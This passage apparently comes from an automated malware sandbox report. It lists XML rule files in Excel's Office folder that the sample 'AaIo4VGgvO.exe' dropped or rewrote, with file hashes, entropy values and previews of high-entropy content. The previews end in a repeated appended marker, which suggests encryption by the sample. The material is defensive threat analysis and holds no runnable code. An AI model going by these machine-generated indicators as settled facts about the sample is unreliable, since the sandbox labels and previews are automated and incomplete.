U...V..S(.q...5....U.U.7..>./....T.C...+/h.DWM.../..^.A..7.~.......,........q[p.g`/....c.&.zI.M......T.X..Gt.10....U.T...cj..pa...1G."..vCz.H{h......S.,....w.....L.e..O...tl.....i.....c.)6T+.q>r#%.a.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490004v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1008
Entropy (8bit):	7.791452498234038
Encrypted:	false
SSDEEP:	24:l/wLjMAgS1zwzF8USDBzN4zGAi9g3hQBn7D/mN6bD:l/w8AgS1UzWX3g3hCnvmN4D
MD5:	436FF9200B9E1478ED2D67E3C05476B3
SHA1:	EB0631E8BDBAD5F8AC35220DCB1827D7851B1F5C
SHA-256:	23D0C0A92CE4F7C2CA381CD10595A34BC8376F92C494A070A31F1A2EFA39645A
SHA-512:	1DAABBD77A771348877DA7DFA97AC6AA3FF7F807A8A7DE97CBA29B96E3500F20291C6B31EBDE0FA128AD6AB2B4B75137274A650E2C3408A93B223EE7DB6CA290
Malicious:	false
Preview:	<?xml.[...g...Zh.....J..T=.jN...]....`l................I9.1.E..#....z..M.MnZq..8.?.....d]...%....."...mI...dgQX..k..u.N...I.....C..o.r\|.^......O#...d%.[.}..k/...8TD..q....Hr.1../;.).......\..p.Y"..\..J..K.k.O.C.-:..;..1.@....7..........p.S)5. ..B./....a.^...&.P=x9.M...d......$.S.2+v.0t....7.....R.^z.........2&^A...L~.d6.......tS..d2.... ...?..:.~..(>[........yq......'......I.\@...5..t.....t?u.x.e.....au.e.Q......m..iuO}..._]e.cP...5.G1.Cn.....)y.>......-O...G..#N:eG.?....b...;X....P..z....d`..]..N..%...J..,.>..........f;...P.s..S.......B......pj...N/v.5..-...;.hQ-m.C......zkjT..x.....g...:....M...\.M.C.@.........(.~h....B.@..0....C....._.. ..7...x....[2[...J..4.r.[..D....?-..y.n.?K...]..:........$.n....(.Q..h ...Fy.iO......C......p.[..Y........#..xk..1.f.....+....e...hR.t.t..6.....;......SH.M<.....L...."a../a..hM..).1......o.XK~....W.L...3....h...ODI.$SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490005v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	7.755232386232723
Encrypted:	false
SSDEEP:	24:Go88jT6U0xkIN2Y7v494rG9xKJzQLrmctq6cTybD0HbD:LjT6U0xTNDvKd9winmctqB7D
MD5:	F3CFDB318E4924E25CBB8AF5EA14F308
SHA1:	2FF6E75BF7765917A225896B746F778732446140
SHA-256:	17D2098CA0F94B8F7CBF69A2BECEEC2E6C91639C2EBA23FB8FAF2F6754B1B1C0
SHA-512:	DCAC6FC13EC82A6396F4D7601C50AF4CAE343B23273C014CC8F09912B30613B19C9EEEF83066B915DD9B7645E741D40DE994BBD355CB85AFC035E1EBF08B8CBD
Malicious:	false
Preview:	<?xml.....n.C<1a...\.'.R..II........8...4.R...U.H..............!X)..3k..V6....A....`..k.'..4..3..P...:.q-...e.[....\......A...[....=j......O.W.QB...+..o.$.S32P.L..T...q...".\.jX.f.1{...JJ%........96.1.{..'~f....,R.0..8....Yq....z6..Sag.)....K.0z.k.2.0^L/....}.+...,.[...LI.?N..D...-h.2@..2.......X(...=.M.}........D.4.(.v.H...tM/...Y{.{2.pG...v..U.6FG.k.....(b.G\|)?.<...a..eU.n.Oa/..(=p...o..6l.8g....\|93..sh.....i.95...x.C....l.8...z...jO...>.6.n....T.G..^.$\|..<K.>..YVY.4.....l.....I..J(3l..~=..\p5.}.^..K.'.C..n.S.T..X._.oS).J.]....1..I.".c.C;E..c..+..H!.2....Y Zo......l6BX...W=...........I...{..^...9..h0..W.t.9w$bL............}..j...DU....RsG.......I..U1...br.K.p.t....V'.!..kJM...i3Vbrf..+...").\|<.0G6..=F....%.....N.].8A....0[.#....\$.I..z!Z..k....._..H..[.t...o...r....R.Y.....Y...'..FV~b.....7.jX...+..'L...Q...S.R..3.t.&..+.....".%).v....R.o"b....G#^!...g....^16.........CrRpd....t..WskXsSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490009v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	7.84387560601517
Encrypted:	false
SSDEEP:	24:hgRgidH10r3zwHQ0EL4uzi3GiRSnMvBi1f1OPIsa4b/pOp515vXVDa9enwfuVqbD:hgW8fQvL4uzi3GuSnvVp0pi515Ppa9eA
MD5:	BCCC49979AA079BE1291E57BFBDED288
SHA1:	F6EF8C611280CCCF240D9464A23B012440FFD729
SHA-256:	833BBBBF3845EB76B4DC042C51448DE118173C745C3C6C682DBD38740556C722
SHA-512:	3105E10E53EE193AEE20FF9990931ACB72FEB7FCB3E7EAB8CB778DC3A717E2629FE07DA2E50CC3E1B128224544AF61C281E31E74BAEDDECE61993FB9BB73D331
Malicious:	false
Preview:	<?xml..G...z...3."C.b .&...;..+4X.j7.pI...;t.JaB.c...,.F_.u.+...G.W...8.PmW...r.[i.U?..{.........)..QRT.Hc...&.....Z.u.uWK.].....(B.&...b......ew.c?%P..z..@..SQ...J.w...Ej..v......7..p.S.x......C.j..X.....c{.Uv.i....N...n8..}E..G....-h.u.....W..^..3.o..X9P.....Nu~0).."P@1...Gb.....N....X"....$......fzA{..U....P...2p.....L.9...j>.....0d..,h_CEQ.tq"i.h....s.y+.R..1J...D.=4..~.......i.Tu.[.l7m.x....;../..9.m...l..BDQ...(.^p-...X?^f..XxR.nc.a.Ij..-.-./.t....<'..qa...K.-O.Y..Q..B.3.d......&.G_....}.(.P...w...w.....M.>..&Q..E+.;_?.,..7Ld...w.a<h/..P.....W.W....D%....A.7....8..H.8Hk..K#f.".}...........BdS...MA......K\|.$...M>..j.RTE.....F.e.-(?.....+.....p.:.$Y9 .A{...(./w8.~.B.mM.....x~....a.k..R7.0.i......d[u..\|....#qal...A.....h...njaO...p...WU....s\|.h.....5\|.....h...}d....>.MB....]..1..As.F`...3I.........a.k...7..~.<.&...Y.....7.9..O..j2.4o.7^.Z..%.n.8.3...n.~V.jp....7....K<m..Q...ID18.......^._.>.D%....a.H....Q...(.}]\|+....$._...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490010v7.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1388
Entropy (8bit):	7.851188139043305
Encrypted:	false
SSDEEP:	24:eUj6MR6tL2RaBueRPUTi/nMZJs1tVPEf6d/3lnJ+34Srq82ZLjXLiR60oUbD:e/S4PUmnMoc6h3T+3v4nLCD
MD5:	9283085F259D2C00ABDC1109CABA3952
SHA1:	04046378F2BBC9334446643837E8429D2BA574B0
SHA-256:	A6A5891BBDBF4B082E9CA2FE6F90B767E1921E58D551A10353DB137161FA427F
SHA-512:	680483DE285FA3BE5B94BC7D2AF88F9C3C6260E89C39C5E28AF195D4328B40E19EA75D233101B027D2E32DE455B7C866C68EE7E7FF92C7D08DFCC484CDAC0DC5
Malicious:	false
Preview:	<?xmll..(qb.r......z.-.RN..=.!.....w.2....;R..D\|.q.-mz. P3q.....=.[...S.1..-..7.....A...t..%.L...c.....3Zx.Y..o0R..x.-......8.6r4..i.....%.L0-...-4$..n.5.....4.&.{Rs>kSH(+...Q....]-;+..;7L.. ...w}.G...@.. ...kv..^_..q.`.y.~........<.K.(.H.....u........}../....i...r!.."...&......?.+..6<....nsM..r..H9J.!v.b.C. .j....3....<.Z\|h....B.o.ZK5PjH.F..5u\..Y66...G....Y.).0p..`...,WR.L..imm.Df.w..Y.}#....U.b.:A...ca...3.V..._j.E...l.\|;..t.f.a.{.G&.D............S.....w.......s~q.P&.6....n>\|k...j:...-..J..o.i...`cL;.(....#...b....R7c-G.....+9.6.....O..)..R....g-.....%...3.{I(...8...o...v.>P.)..b...UYJ.PE.5.2.......o9.(.......am.]y....)AQ....( .##WmWC.....Ef..to9Q%kK....C..<^.4....6.0..^....4..^.V...Ej?..>.^1..n..Tl`/.......I..8...3m.t..G;hcv/......z..f.C>...5&..e..H[.+..`....W1.9...Vu....ug^...&.'`.#.......a%%...L.-..a.c.t......."...x..[J....K.....x..N....{....`.Z7r....C.._;.PYo.B...i...`...D.)..Ps..o....]....J%L...l.^~.S..1....F...S.h`..[...h.?}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490011v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	856
Entropy (8bit):	7.766482445425223
Encrypted:	false
SSDEEP:	24:TClAGqSMsrqBrFsTHqsDGK1Xp0BWITj157d+3rbD:aAqL+jsTl1Xu9/jqD
MD5:	F494F849447D046AB1FBECE6B9A68BC6
SHA1:	2920D6C55628895D4EE9E3DD60EFCD7709407DFB
SHA-256:	91DD6475668D6617600B89D516020405A1C9E7ADFCC53043D5CF45484AC579C4
SHA-512:	550F804E13559AD9247DB0B3ECE044DC329241B597933B60529489FC5D7C1BDF2024C1535C03AFC83274E8F5ABF4AA8CC997F171087589F888EDC4AF2022CD4F
Malicious:	false
Preview:	<?xmlY.J.........T...... F6g.#...k...#.T.y...H#.w.oH..q$'..... _.=.._.6..-...T...w.g?Ee.f.d>....3.....].+.J.Zb...... ........v......?^.z....u.K..y.cPQ"..l.C......8..n....J...\|.@%...ni..-.V\.E.>~e...[.....S..&.J.g.."'.6..2 ^.`}.{.i.;1.....N)..5w......+....''..Tt.....pPM.....j..ivAk-..iSdHZ..-.c.n.Pw....w...SR.C.A'.....b..Y..)...J........\|3.p..d..(:.u.c...pM...e.....W.......K........m........&;..\|]...M..@+......f....<.~.....<..H...j.L6...Z...-...{,.#s..)p.v.8.x..z.x..-.....%.......1/6.v..._"cn.il....4b&KS..(2...s..Z.*.8W..;A4..../..My."...kVh.Zb.....$.0........\|I......f0...(.1-.M7.r.6+.Z..6.......b......~.F...F.,^W.n....C W...;...O>]....U.!.....Y.1....x..%.....(.b K...M.]..XT.....L...{.....a..iT....,i..K..x1.d3...~.V..Z.x.\|....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490014v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	7.7851400339813805
Encrypted:	false
SSDEEP:	24:/LCjqmuefuXt1CwBfZnKGZWGv6r0R/lDZdgOzzlVgbbD:/LMupd5iG98y3dgqzlED
MD5:	4BAB60A6F8D1C53DCC71250BE63D0315
SHA1:	B98FCC70492325BD7F356CC80B7FAF068F4556F3
SHA-256:	73588D12241BB96BC83D1985560EEF9137FD4C843F60D8FE81D444362485F17F
SHA-512:	57FFD6174D674B5BED1F8E0F2EDDCEA045AF60139B2195D7EE7A4A1C7395A010B24443F1591FAD6A53FF1692F05CC3FF3754C259D9ACD112CF074BA4FCB960EE
Malicious:	false
Preview:	<?xml..y......r.F..QY..,.+..{...>3.Y.....+4...%^..{.x.fh...zK..F......Q...,L.V..#...u....RIH.8......".........O2SP....FN.....4.{$1#3..W.;..5..........+z&...i.wP)N-.<CA...6.!K..q.7k..Z..+?..{....(....H9...C..jz.tU...O.9.Z.HC..f00..F.\...)..j.........G2......C..%Eg.7.... .lo..`.j..P[B.q2.b.S......ID..{......-..M..".........2.W.>L..j......Eh3.]s....B._...%.x...`..X.a...S..Q..m.D.>.We...P0..w..K...G..A.....=.'.GR18....\M..zAr...X... @..{..0...S.\|.'Z.S.w....l.)..Px.......&wm-.....sd...\....7..n.4.:.'.......q_.E..1......,"..Y.....\|b..aK...a.B..B.........9......a2....`@.x!%>E..O./...3_Xoh...d..?".....O...V...=...>=.?{.....w@c.fq.q.QY.P..`0.. .r..}(+Uan...3....)f2.Y.8...4:.2VzG..q-.......hWp...M.s.._.....x.@.F.le...5<F,....<..v.......q........h.o<,.i...]....=\|\|.x........gUo.z.a...`Q.u%RjT;....BF.\|@!.4....o.y._.,.c..!.5.-g...sX......H:...!K..^...\.b....L7...*.....7........0...}.00...P......=.-....oFU..F7....;..6.Gu.xL..>.!.j..d6.{..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v2.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	924
Entropy (8bit):	7.772476349051962
Encrypted:	false
SSDEEP:	24:XqJj2ICLQGxflV3JQqQgBWTBCa1S83YJVJo1U3t6ffujB0bD:OYhZQqQgEBU8IJVJZwnUoD
MD5:	3297AF97F0FD0226A1A3A2CCF626E140
SHA1:	83E2FBE7A24C31DD33F31BEAEFC96B87DF89A1F9
SHA-256:	110C8705DD36A6C6BEBDC5DB0DDB43B5D73B4CEF127778E096CE8C92A4C56B7D
SHA-512:	23DA833CD51099BE3D5743E51CC91A174A8DAE4ADEEA1267F2B993003067681D4A62DB3E937F6A03831453D196B6E3595294A1517982BAF7E3394543E3188C77
Malicious:	false
Preview:	<?xml[t\.y.y.;..#^t7+.P$......$.=..?+.z._...zh\.f..q......Im..S../.....>]c.y.6..XB.....&b..BHZ<.R.7Z.d..##o%.L..-.......&\.C.......o....M1..K+.o.......T.j.=2N......z..?....Bm"..wF.;z..?.&......&8...6.Vp.gkW...de{..r..H..D...Y,..T...W.'%0....7.[....I.......H"..._..-A7pY_..7.SX...32.u.".c.z-.}.Hy..{..)...fQ#(...-.r#..Q.v,@......L.. ...9.J&U....C.8.p8Q).H.o .(p.T.u......c\|...w.....8..D.....) g.{.sJOn......Ri6.$6..r.1/..O.r.$....R.....1...d3.M5..~N..0..Cj...w.......I...p.y....(;.0.1..sD=......6.?y..9...1.....:.8#.+.p..W..g.IJ."s.vp.V....9...)......$/.J.k....j.#....\|4.l...0..;...$.Y...............s.l.........U..B.OCT....,._P.r2a..........$a...r..<j........;Q.../.;.w.s.>..P..N. Z.q.x..W..AEq$.q..G.o.Q.Nc...@.....f..A1.)~...4.#.\|........~..f$..3.'..=.JvC.d..*..Rd...#(#"..aZ...}.q..BF..E@..mSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.796341638392256
Encrypted:	false
SSDEEP:	24:TdiRpFnO5kEjyL4yOOcwJi2Tbv6LwjtkaMOIqCTeHXObD:piRrij6U26wjt5IGcD
MD5:	B3E7E400D785D0B7DC60366B38B8DBA3
SHA1:	B69961B68791B372B782FDAA0551A8FDD11E2117
SHA-256:	21DD0B911CA3616E07C45ABBDB633EE0B727621F22CB5A74B070D71EE300B4BE
SHA-512:	55998CA27588B32173647690480D3651474B72930C63EEDF7B118EBE4305ABCBB3A685422A17745E942F504E9478026A6E02759C1BAB8FCEA749D850EA741917
Malicious:	false
Preview:	<?xml.m.\|E.7..T./;.P..p`U.].AN.I....../9..RS....E....8.........$...6....O.s.bD4.4...Op..Eo@...e.6.x.^.#.^..#C..Y.v.....9.JI8....mh!....R.l#kR:....} .\|.5....n:D.e...8.3......0..2..9...2..y..C.b\|)8..UR......@...2....7}.Z\9.&....{..].O....I.'.O..t!}t....A.......}.9.....c...\|.u.gE.W..._}E.I5".M -.............U.....3./..tSAQ...(...p.L.H..,..P.+...m.LQ.X.(..r.......Z....$..V..o.#v..`6.Gw....=8=.u...-..$s...+~0....zo...y..^.4..\|e..D.0...a..;..L.{{.[k.4KDUK......[Ek.$......o..\..q.t...~..\|$p.&6<.N2S....N.....2..d...:.b..s....y._.xh..{........Cx...f.H...&A.....z.Q...^...V..e..$.?.(kt...R]/.b.U.U`._.lj.1j....u....i...d.....q.YQ.....{.e..2...Rm..y.A.......W2..~....r...%.?..#.g.....K.....5q.\dJL..3...B/m.....S.c.....(.f.9...$68.%.'...5..U.. ..h.$d._..Y.^.`b... d.....>.$....).R$.../p.D..mRVv.\|.'..a.....ON...PX.C.5......ds..5...}......3...f..4.5.q.....\|...2.t`..LT.$..i..ao...`.Yt.%S^2K@........y.Y.c*QI.Wm...sI.A.~c...G.x.D{>..q0.L`.RS.....U.P.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v4.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	7.815923836104056
Encrypted:	false
SSDEEP:	24:LGVy4MX+hpHN+AD7aqqO4GNurOacJra2Gy6hKUQXbD:LGVVhpt+AD7aqqrGNkHAa2GcNrD
MD5:	4FC1BDA36FA39CBF0D057E5F7CE7AB32
SHA1:	7C257A7435EC044D48BE35A83E5B1E05A7FE2D92
SHA-256:	6950188ED3B8BFC3D32ABA64BBCA959FF34E04B1EC07470011BC7182FABB059A
SHA-512:	78B155EF4BCCF334D54EE8CAC4D2CBCB82818015EA7856C274290B435CF4735B522DF56742EAA23337A0C192A2B06744207F84998B2ABF2812B1EC6CAA46F6DF
Malicious:	false
Preview:	<?xmlr.V..q..C.m...J.........X.:....Z.?..T_......k.N=}.C...e..y..-...2..TBMz..x.,.@....-lM..1...$,&'.s.x....G.j..R[.p.)..fv.f.I\.;..............E.Y...UQU&..ds4b.d...O\.........:..=..R..........lqX...@+...>.&..(j.?U.n3....-..m`.S..... ....F..Fu.......Q_...T.Y...)..mX.5......S.G..>F...P..........:.8.......0....5...`..I..s.b....@.......v.?..Dp5..........G......%Q2.g-'.v..e1..Z.W....C...w.U;.....3......{.........=....U\]{z..R.l..H...4.T.es..t....f..p0#....%...:..X.X....w1.9{!pK.8.../h~&......)P....Iy.....]..CP....YnTeq..X(*0.F......{...........j.D../.........U..xrH.r=5TU.V..>T..>p......jxZV"..wF.c..W8.....1^..5L_...S..-..gv ..}.1...4.x...9G'm,...d+.Oj..vh..k..H.<...>...p...Q47....>...M.mZ.....@..G.&..s...q.O.o..c...K.:QC...h.....G.j-.._.......m....[....ZN.f..`Q.._a.R.8...J...dq.J}.b........w....`#....I.........r....fZ4d...SlP.....l.....B47..g..!..J7O.(..p(...#,........"....~.."[.O.f....vy.p..w.....8[ ..%,..o...\........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490015v5.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1108
Entropy (8bit):	7.825952576417583
Encrypted:	false
SSDEEP:	24:4kKRC3IT6WoqmLSPOZmVwk/9lszBMyCBIIOpXhpNYthbD:+RGIT65OPOoVZ/9azOyD5yxD
MD5:	8D0408B653979C2861092C12051341AE
SHA1:	7369107886A4A0F8FDCFC456A5BEC5E2A5481104
SHA-256:	0E715A1A5E105F0FF1A89EA8F7A72E5B1CBDFAC5CE29E1DFBCD851A2E4A5DBB3
SHA-512:	054B75DAD478BAA97E3ED206B76E822CF1D34D5D40F1D2B0D88747DDAD4240CCEB79477F1F1A14338B5B74B0C92007497DD95F7A45E48A7B6C4FCB817A0FFAF9
Malicious:	false
Preview:	<?xml..V!.j.x..m`...Wu..t..H..YrrU5b.t.......0I#...plq..y..s..\|.',.c.r....nRS......M.:.L.)beI.\|p.C.'..#/..a.X-g.U}Wv......g...R.......v....R..>.e...m.\|.7.K..Vs..N.}...Y(.J.".\.0...d.Nm..O.....>..D......IXQ .1....9.62K).B9...M.+.+..cI.!.:.y.>c=V.'.wm?k.:.8K;.e..k?...Pg.X..9.2..l...X.@%..sx=Z.]..\`.[....<c.Q.......mvaX;......l.+t/.7Y..2....89.o.r"}.Q..a.....ul.fD.2.....6...S.%...K.[h.5..Q.4.i..%..=.(..M6.\Qm...8.t..2&...I....?.k_B2K...=...t....A.n.......7:s..!..C...yj........!..Qf....BI.d...\.EHo.P.f.X..&p.o..%...m.[.U.....'`uL.}..]...D...\|...$..f....%9.....g.@h.)T..wlK.$rF.../7..?6.b....).,....G........v....R...~s.NdI... ej..B-.h>.s...n`\(c......z.J..pbi.h...8.6.D........Se..@6..t\..N..e._.)4...!.\.....}.BtI....Y(..........9rn..r.>. .H.....J.......SS...k..@.2Z..4...........kjsJt..X..s..t.d........6..k.i.....3.....\|T...A.l.....S.....GJ..4.J6.:Uy..Y.$D...~.QH..H......y.2 \|9;4..c!\G....E-..r,..?...X*. ar...h&P'..O..c.....Ypm.&.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490018v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.78153408369086
Encrypted:	false
SSDEEP:	24:RnN7PNaY6SwnJIm0rtxPsW4P2pgfDTVfuOWaFMB+ObD:dpPIY6DJjigP2pgfDTVfXW8EDD
MD5:	5F9206F1805E3290D15280F9CE454D1F
SHA1:	8B7FB26E6C95D3EAC7B37C11AC8BC666C17FC2CD
SHA-256:	FA1D6AD5E25158969A84681CEF6D108DFAC56BDC469CE1EE88394A5714EFE819
SHA-512:	5D069A43FDEBE9ED1A4CEFD921AC399C247D273D03B285501DB6181678E32F61D453E8C0F0D7F7B673F7F67C2415187358C6C1D67796C7FAFAFF9C90EC8E9BB6
Malicious:	false
Preview:	<?xml"_....$....:+....(..M.@...'9Y....-.X.\...R.l..j...:.mW.9D1...-.y.l...7666$....b.A..RM.5o^...O.gl.....n.:U....pj..idGs....,y6.=....!q..:a...-.d.... GV'.......(H.OoJ-.....i7w...+/t....3....'....cf; P..mk`&...-....%.mM/40....1.QR.]fu.<N;R.....&.....s?...)1h.U.`$....9H......x.mv4.3..a..?.. ...5..r....:...d..K.W.p..$u.NcD.z{H.M..".._..Yn.m;...K1..u.b.?....(.u......;?..:.x.t.P.4.....}.Z...,.v...wYF.`.:.Ldl.$..R.B6...#.6.........q..U........0........N..... .e...z.0.m..(=&.P.N.5=NG..Y........~Ad.XW2`...C...a..AZac)}.C....\|B.4wrZ...t5._~....'.....:!.=]m.....zGm}~'...d.L_x....[.....M..B.t...*................)nA....k..{...WW.....}..P.30.....j.x...[.Y.&........q.bpy..5.,..b.....e........3.#......Y.X.@...=;$...z.y.%TR.....wlH..V.......F.}>.x.iZ...m....h..lE...........!14...d..[..?[..d...C.V!...B..<.E9...........&-..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490020v3.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1126
Entropy (8bit):	7.818693525702032
Encrypted:	false
SSDEEP:	24:lSKPYw4fr7OVSl5YPnLi2KRN3OV3O0FbPwmH+/H6VkbD:4sYw+OVO56nKR4V31FLw6+/H6VuD
MD5:	7410EC7324269DB04DA03C558CBDC8D8
SHA1:	F45FB33ABD25D221DF7A0337FFA55F512C97673C
SHA-256:	66C6B354534546DF03F341A4F76D0B936BF1F566958F9A0B109F0FA8EAC1FBF5
SHA-512:	C04EB601D0E36ABD77B60FFABA8F4500AACAC23A5393F7BC1CDD8EF1ACCAF5D78860AF447240113C73C0AFC88B551738A11F43AE59D56C194650715D6464D1D5
Malicious:	false
Preview:	<?xml<.].L....F...&......Pb.]T~dr........I.N....B.dB.. .d..>N...h.CqK^...\8...U.H.......U...'....!...v...>..C.....H...R...~3.....9.5%..E...Y.[?.^x.y..W#.v.s ...c..ow....M1../D.b....c1...i...Z..4&..,E....^...f.k..Qp..!.#}<.....l.....Q.S.x.f.Y!..k.xW,..~.........".^a.\Z.x....:..A.&.+..`./.....x.n...R..j..w...&9..a.o1..&.F.:..O..O.[A....[E..5b.Z...,..j..]P..#~.Yj...).....;).k...#.O%2..p...XK.<.GQ..~..,..........6.u...>h%..e...5((.%.i.nR....^.G..\|.V..z.N]..\|.d....-..<.L...+.3{&nx%..Nef.G.vu..n.......?>.C.a[`..&#fbs.`..z.S.wX.z.....x.Z..>.u.E....l...!.7..U.v....@..K.U....:......)...;.._./.._g"...3.....j.t.r%........=..c/.\....._...&.I........0h..X..L.i.y.....%$~......V..&.........E.b..._.<3.f...Kl,.v.X%....[.V2....i{M.j....4.#b.^p..B+.L.*...@,..=mlz.5.rO:.q.....N..7.....u.>..&.B>B...R.e..A.{..,......x%L.r.9..w.....H.x.a....v...$y.M4R.8(8.VQ.Gj...N..P`I.i.zS_b.."1......... ..~.y.8.!p..+$.........<....K....&4\|......5...N3...E3...[...+.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490023v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1243
Entropy (8bit):	7.842318134369243
Encrypted:	false
SSDEEP:	24:jRJzGo6cFd+6daMKX66+rRkhRD8SyXhpKxVZ7EG9fCfD4WqbD:+ozWcavXtXD8Sy6HZ7lKfDaD
MD5:	ED9793BACF3964655FB6E714AC4A5FC6
SHA1:	BEDC4A1147EA13A12FE8F56AFE3C44F742989636
SHA-256:	88D734580B10C3D5B423C1DB07CFD2DF4C23F6C4DDB5092EC7A261996394E92F
SHA-512:	1870B5D39748306CAB14626DB0C890EE950FBBFF1F7F041F7A75C3A96E3A95F5263104DFFAA886D0C2718D0D119CD211AA7763F6EBBCEA181E0964801FE78E5F
Malicious:	false
Preview:	<?xml!.rY..a0[.Gv.<...2.j...>tX./....H...\|.F...&r..........'...O...c....9....&....M"B.......>(..]j_.....!.-...D2...>...?^.G.r..>.Q....e.&...d,...G.x.N...T..@8............Z.S.v..4...#"(.r.RJ.".-........2.&..vV.kL.....7Y.1.d..........~..$]..5.b.G..xvi.J.>..~...lw......",.Y....WA....2R.....qF...j. .......jQE.]o....j...L1.5...~.CJQu.........I .$.k..&.....hyR.MXg..?g.8....O/.M....qugR...UG.D..W..SL.."...>..m C....k4._0..m..lXE?..o)..m.......>....?..u@....0ed'..?..N.....W..u...k. .......t,./..k.+U.^.TnTi2...K?.......e...0[....].!..V....%..n.49...P..0I]:g.6....d.,..B.?m.9.d..o.,n`q..o..q/.g.m#Y...l.X....U..z8...A.g.......y$m.........e.. <........[..C.......R..z.....H.b...............{Y.z.6.H.1.\..../\|.....r.....{K.)..0...F..?..3hIx..~Q.1.MRD......45..%..$gy...Y..6.......,4^n.......`.B...\.?.........2.~.....w^.7.I....1.....w.kSP..;...H .......Da....3..p...'..SK.....j..l..-.nW.j%s.....9..$4Y..3C.k.Hga!.N...qB.J.0..o$.....G..#....X.l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490024v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	871
Entropy (8bit):	7.747411636891586
Encrypted:	false
SSDEEP:	24:jdpubWfut1iSYhgGbLp+a5ZqmiuVFC+LsZcjyOJ79bD:jdpM/1iXhbR+a7bvC+LV9D
MD5:	E1DE4955EC1DE24D51DFE5780B9DBB5E
SHA1:	AEEED17F9492A75FAF2A85ABB9D8EE3F7DF3B81F
SHA-256:	6F708F4CE219F7FDDC979757671D6EAA0E0B3164D61C85EDD4A7C8FF3296D38E
SHA-512:	030A5BD2AD273364E867CEE9BB7339713CCB639A4DB6495FCE36B0B1208CA3C1F00C7C1AEA911EC3EF01ED0525F6A8B1EEF0E00263E6DFE7C048D6E3F3C22535
Malicious:	false
Preview:	<?xml..{..9....@.._.N...S....N... ..#.l....Q5T.3}..[XiZh.....:.....$K7L.$.8....A..../F...w.\|...PG.2c...ae-.g.+...F."S..z'...%l+I}+ ..%.\..l.0..."%.......u.\|>....e.......S.pO.GKJS@.D...HEO..n..D.C$$.Z.xG.j.n.J.....%....n.p.}...B.......O..._..P....L..>U...B..3..@n?S.[~b.m..s..>.L8....8....G...,...w^. .....;.6.yPI'.......g%.q.=. e4...P..1]s.....7#.F...._..>.j@.......}...ao......+..Ow....y..D./..#.v.s.......N...K...E.._z..$.Q....-.o..K...s.<cH...5....S.V.".z.L.S..6..Rr....i.......<.:.`.+.q..0.....L......U.)E..b.=..d.sv...3...).........]CV..v..[#.S.......{.]...C..9..^....... ..\....A.J..D.n......H.l.5.Qz6.....B.C..^ e~.....k...!g..Kg..2U.....M....l8.....t...M-L..i.ePx..Y....$..K.K..DLP..\|.xA..rM.u.d...`....-...r....0.R%d.Hv.....b..Sm......@=.;dkSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490025v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	866
